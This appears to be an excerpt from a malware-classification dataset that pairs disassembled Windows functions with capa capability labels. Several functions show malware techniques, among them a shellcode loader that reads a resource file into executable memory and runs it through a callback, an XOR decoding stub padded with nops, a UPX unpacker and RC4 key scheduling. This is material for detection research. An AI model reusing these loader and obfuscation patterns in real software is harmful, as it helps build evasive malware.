joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404994
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4183e0]
jne 0x40499e
repz ret
jmp fcn.0040af8c

Function at 0x4104d2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408b4c
and dword [ebp - 4], 0
cmp dword [0x419f7c], 0
mov ebx, eax
jne 0x410583
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410634
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x410634
push eax
call fcn.00408ada
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x419f7c], eax
call esi
push eax
call fcn.00408ada
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x419f80], eax
call esi
push eax
call fcn.00408ada
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x419f84], eax
call esi
push eax
call fcn.00408ada
pop ecx
mov dword [0x419f8c], eax
test eax, eax
je 0x410583
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00408ada
pop ecx
mov dword [0x419f88], eax
mov eax, dword [0x419f88]
cmp eax, ebx
je 0x4105db
cmp dword [0x419f8c], ebx
je 0x4105db
push eax
call fcn.00408b55
push dword [0x419f8c]
mov esi, eax
call fcn.00408b55
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4105db
test edi, edi
je 0x4105db
call esi
test eax, eax
je 0x4105d2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4105d2
test byte [ebp - 0xc], 1
jne 0x4105db
or dword [ebp + 0x10], 0x200000
jmp 0x410614
mov eax, dword [0x419f80]
cmp eax, ebx
je 0x410614
push eax
call fcn.00408b55
pop ecx
test eax, eax
je 0x410614
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410614
mov eax, dword [0x419f84]
cmp eax, ebx
je 0x410614
push eax
call fcn.00408b55
pop ecx
test eax, eax
je 0x410614
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x419f7c]
call fcn.00408b55
pop ecx
test eax, eax
je 0x410634
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410636
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x411a90
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x7e2260]
inc eax
and eax, 0xff
movzx ecx, byte [eax + 0x423f90]
add ecx, dword [0x423f8c]
sub esp, 0x804
and ecx, 0xff
mov dword [0x7e2260], eax
mov dword [0x423f8c], ecx
cmp eax, 0x15ad
jae 0x411ae6
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
push 0
call dword [sym.imp.USER32.dll_SetSystemCursor]
mov eax, dword [0x7e2260]
mov ecx, dword [0x423f8c]
mov dl, byte [ecx + 0x423f90]
push ebx
mov bl, byte [eax + 0x423f90]
mov byte [ecx + 0x423f90], bl
push esi
mov byte [eax + 0x423f90], dl
movzx esi, byte [ecx + 0x423f90]
movzx ecx, dl
add esi, ecx
cmp eax, 0xc2e
jae 0x411b30
lea edx, [ebp - 4]
push edx
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.USER32.dll_GetClipboardFormatNameW]
and esi, 0xff
mov al, byte [esi + 0x423f90]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411b50
Capabilities:
Encrypt data using rc4 ksa
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00410c50
xor ecx, ecx
xor eax, eax
mov byte [eax + 0x423f90], al
inc eax
cmp eax, 0x100
jne 0x411b61
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov dword [0x423f8c], ecx
mov dword [0x7e2260], ecx
lea ebx, [ebx]
cmp ecx, 0xb8f
jae 0x411bc9
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x810]
push eax
call edi
push 0
lea ecx, [ebp - 0x1010]
push ecx
push 0
push str.tewetusidafohixekahoti_yiwifuvuda_monixuxahotoguboxi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [0x7e2260]
xor edx, edx
mov eax, ecx
div dword [ebp + 8]
movzx eax, byte [ecx + 0x423f90]
add eax, dword [0x423f8c]
movsx edx, byte [edx + 0x415508]
add eax, edx
mov dword [0x423f8c], eax
cmp ecx, 0xee8
jae 0x411c1c
lea ecx, [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
lea edx, [ebp - 4]
push edx
push 0
lea eax, [ebp - 0x410]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationW]
mov ecx, dword [0x7e2260]
mov eax, dword [0x423f8c]
mov bl, byte [ecx + 0x423f90]
and eax, 0xff
mov dl, byte [eax + 0x423f90]
mov dword [0x423f8c], eax
mov byte [ecx + 0x423f90], dl
cmp ecx, 0x25bc
jae 0x411c5f
lea eax, [ebp - 8]
push eax
push 0
call dword [sym.imp.GDI32.dll_GetMiterLimit]
push 0
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov ecx, dword [0x7e2260]
mov edx, dword [0x423f8c]
inc ecx
mov byte [edx + 0x423f90], bl
mov dword [0x7e2260], ecx
cmp ecx, 0x100
jne 0x411b90
pop edi
xor eax, eax
pop esi
mov dword [0x423f8c], eax
mov dword [0x7e2260], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40292b
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x10]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
and dword [ebp - 0x14], 0
jmp 0x40298a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
add eax, 0x28
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x14], eax
jge 0x402b0e
mov eax, dword [0x40803c]
mov ecx, dword [0x408040]
lea eax, [ecx + eax - 9]
mov dword [0x40803c], eax
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x402a83
mov eax, dword [0x408040]
shl eax, 1
mov dword [0x40803c], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 4], eax
push 0x40f320
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [ebp - 4], 0
jle 0x402a6d
mov eax, dword [0x40803c]
imul eax, eax, 0x63
mov dword [0x40803c], eax
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
push 4
push 0x1000
push dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [0x408040]
add eax, 8
mov dword [0x408040], eax
mov eax, dword [0x408040]
shl eax, 1
mov dword [0x40803c], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
mov eax, dword [0x408040]
shl eax, 3
mov dword [0x408040], eax
push dword [ebp - 4]
push 0
push dword [ebp - 0xc]
call fcn.004037d5
add esp, 0xc
mov eax, dword [0x408040]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x408040], eax
jmp 0x40297a
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
push 4
push 0x1000
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
mov eax, dword [0x40803c]
mov ecx, dword [0x408040]
lea eax, [ecx + eax - 9]
mov dword [0x40803c], eax
mov eax, dword [0x408040]
imul eax, dword [0x408040]
sub eax, 3
mov dword [0x40803c], eax
mov eax, dword [ebp - 8]
push dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
push dword [ebp - 0xc]
call fcn.00403797
add esp, 0xc
mov eax, dword [0x408040]
shl eax, 3
mov dword [0x408040], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 8], ecx
jmp 0x40297a
mov eax, dword [0x408040]
add eax, 7
mov dword [0x40803c], eax
mov eax, dword [0x40803c]
sub eax, 4
mov dword [0x408040], eax
leave
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], str.Data.res
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x4010ee
mov dword [esp + 4], 0
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov edi, eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov esi, eax
test eax, eax
je 0x40111d
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
xor eax, eax
sub esp, 0x10
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Resouse_File_not_found
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x4010e7
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x401116
Function at 0x403068
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4030a7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4030a7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4030a7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4030a7
cmp dword [ecx + 0x74], 0xe
jbe 0x4030a7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40e3c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa000]
push edi
or ebp, 0xffffffff
jmp 0x40e3e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40e3e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40e3d8
mov eax, 1
add ebx, ebx
jne 0x40e3fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40e3f0
jne 0x40e40c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e3f0
xor ecx, ecx
sub eax, 3
jb 0x40e420
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40e492
mov ebp, eax
add ebx, ebx
jne 0x40e42b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40e438
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40e45c
inc ecx
add ebx, ebx
jne 0x40e448
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40e43d
jne 0x40e459
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e43d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40e47c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40e46d
jmp 0x40e3de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40e47c
add edi, ecx
jmp 0x40e3de
pop esi
mov edi, esi
mov ecx, 0x12b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40e49a
cmp byte [edi], 3
jne 0x40e49a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40e49f
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x40e50e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe4ac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe5d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40e4cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe5dc]
or eax, eax
je 0x40e508
mov dword [ebx], eax
add ebx, 4
jmp 0x40e4e9
call dword [esi + 0xe5d8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40e53f
cmp al, 0xef
ja 0x40e532
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40e514
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40e521
mov ebp, dword [esi + 0xe5e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40e573
sub esp, 0xffffff80
jmp 0x404729
Function at 0x4032d9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_wcslen
pop ecx
add eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
leave
ret

Function at 0x403460
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
test ebp, ebp
je 0x4034bd
push ebx
push edi
push ebp
call sub.msvcrt.dll_wcslen
pop ecx
lea ebx, [eax + eax + 2]
push ebx
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x4034bb
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push ebx
push ebp
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push edi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
mov esi, eax
neg esi
sbb esi, esi
neg esi
pop edi
pop ebx
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4034c8
Capabilities:
Get file size
Read file on windows
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [ebp + 8]
call fcn.004032a7
cmp eax, 0xffffffff
pop ecx
mov dword [ebp - 8], eax
je 0x40355a
push ebx
push esi
push edi
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 2]
push eax
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x403543
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x403543
shr esi, 1
and word [edi + esi*2], 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
jmp 0x40354c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
jmp 0x403563
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp - 4]
leave
ret

Function at 0x4036f5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x4038a0
Capabilities:
Get common file path

Disassembly:
cmp word [0x4122c8], 0
push esi
mov esi, 0x4122c8
jne 0x4038c1
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
mov dword [0x4124d4], eax
push esi
push dword [esp + 0xc]
call sub.msvcrt.dll_wcscpy
mov eax, dword [0x4124d4]
pop ecx
pop ecx
pop esi
ret
Function at 0x403cb8
Capabilities:
Create process on windows

Disassembly:
push 5
mov eax, 0x40d410
push eax
push eax
push dword [esp + 0x14]
push 0x40d978
push dword [esp + 0x18]
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x20
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
ret

Function at 0x403e2a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x40dee4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
leave
ret

Function at 0x404021
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
and word [ebp - 0x800], 0
push esi
push 0x7fe
lea eax, [ebp - 0x7fe]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp word [0x4124d8], 0
mov esi, 0x4124d8
jne 0x404069
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
mov dword [0x4126e4], eax
lea eax, [ebp - 0x800]
push esi
push eax
call sub.msvcrt.dll_wcscpy
lea esi, [ebp - 0x800]
call fcn.004032fd
push dword [ebp + 8]
mov eax, esi
push eax
call sub.msvcrt.dll_wcscat
mov eax, esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
add esp, 0x10
push eax
call esi
test eax, eax
jne 0x4040a3
push dword [ebp + 8]
call esi
pop esi
leave
ret

Function at 0x405075
Capabilities:
Read .ini file

Disassembly:
and word [esi], 0
push 0x411c68
push dword [esp + 0xc]
push esi
push 0x40d410
push dword [esp + 0x14]
push 0x411e78
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
mov eax, esi
ret

Function at 0x40509a
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040c750
and word [ebp - 0x2004], 0
push 0x2000
lea eax, [ebp - 0x2002]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x411c68
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push 0x40d410
push dword [ebp + 8]
push 0x411e78
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
cmp word [ebp - 0x2004], 0
je 0x405109
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 0xc]
call sub.msvcrt.dll_wcscpy
pop ecx
xor eax, eax
pop ecx
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x40510d
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040c750
and word [ebp - 0x2004], 0
push esi
push edi
push 0x2000
lea eax, [ebp - 0x2002]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, 0x411c68
push edi
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push 0x40d410
push dword [ebp + 8]
mov esi, 0x411e78
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
cmp word [ebp - 0x2004], 0
je 0x405174
cmp dword [ebp + 0x10], 0
jne 0x405174
xor eax, eax
jmp 0x405182
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringW]
pop edi
pop esi
leave
ret
Function at 0x4054d5
Capabilities:
Read .ini file

Disassembly:
push dword [esp + 4]
call fcn.004036f5
test eax, eax
pop ecx
je 0x40555c
push esi
push edi
push dword [esp + 0xc]
mov edi, 0x411c68
push edi
call sub.msvcrt.dll_wcscpy
push str.general
mov esi, 0x411e78
push esi
call sub.msvcrt.dll_wcscpy
add esp, 0x10
push edi
push 0
push 0x40dbd8
push esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntW]
dec eax
neg eax
sbb eax, eax
inc eax
push 0x3f
push str.charset
mov esi, 0x411f00
mov dword [0x411efc], eax
call fcn.00405075
push 0x3f
push str.TranslatorName
mov esi, 0x411f80
call fcn.00405075
push 0xff
push str.TranslatorURL
mov esi, 0x412000
call fcn.00405075
add esp, 0x18
pop edi
pop esi
ret

Function at 0x40667c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2004
call fcn.0040c750
push ebx
push esi
mov esi, 0x1fff
xor ebx, ebx
push esi
lea eax, [ebp - 0x2003]
push ebx
push eax
mov byte [ebp - 0x2004], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push ebx
push esi
lea eax, [ebp - 0x2004]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2004]
push eax
call sub.msvcrt.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2004]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
pop ebx
leave
ret
Function at 0x4074a8
Capabilities:
Get common file path
Get file system object information

Disassembly:
sub esp, 0x4cc
push ebx
push ebp
mov ebp, dword [sym.imp.COMCTL32.dll_ImageList_Create]
push esi
mov esi, eax
xor ebx, ebx
cmp dword [esi + 0x2a8], ebx
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
je 0x40756f
cmp dword [esi + 0x2b0], ebx
je 0x40753f
push 0x2b0
lea eax, [esp + 0x230]
push ebx
push eax
mov dword [esp + 0x234], ebx
call sub.msvcrt.dll_memset
push 0x208
lea eax, [esp + 0x2e]
push ebx
push eax
mov word [esp + 0x34], bx
call sub.msvcrt.dll_memset
add esp, 0x18
push 0x104
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push 0x4001
push 0x2b4
lea eax, [esp + 0x230]
push eax
push ebx
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [esi + 0x29c], eax
push eax
jmp 0x407560
push 1
push 1
push 0x19
push 0x10
push 0x10
call ebp
push 1
push eax
mov dword [esi + 0x29c], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [esi + 0x29c]
push 1
push 0x1003
push dword [esi + 0x294]
call edi
cmp dword [esi + 0x2ac], ebx
je 0x4075a6
push 1
push 1
push 0x19
push 0x20
push 0x20
call ebp
push 1
push eax
mov dword [esi + 0x2a0], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [esi + 0x2a0]
push ebx
push 0x1003
push dword [esi + 0x294]
call edi
push 1
push 1
push 0x19
push 0x10
push 0x10
call ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push ebx
mov dword [esi + 0x298], eax
call ebp
push 0x1000
push 0x10
push 0x10
push ebx
push 0x85
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
mov dword [esp + 0x14], eax
call ebp
push 0x1000
push 0x10
push 0x10
push ebx
push 0x86
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
push dword [esi + 0x298]
mov dword [esp + 0x1c], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push 0xf
call dword [sym.imp.USER32.dll_GetSysColor]
mov ebp, dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
push eax
push dword [esp + 0x14]
mov dword [esp + 0x20], eax
push dword [esi + 0x298]
call ebp
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x298]
call ebp
push dword [esp + 0x10]
mov ebp, dword [sym.imp.GDI32.dll_DeleteObject]
call ebp
push dword [esp + 0x14]
call ebp
mov eax, dword [esi + 0x298]
mov esi, dword [esi + 0x294]
push eax
push ebx
push 0x1208
push esi
call fcn.00402503
pop ecx
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4cc
ret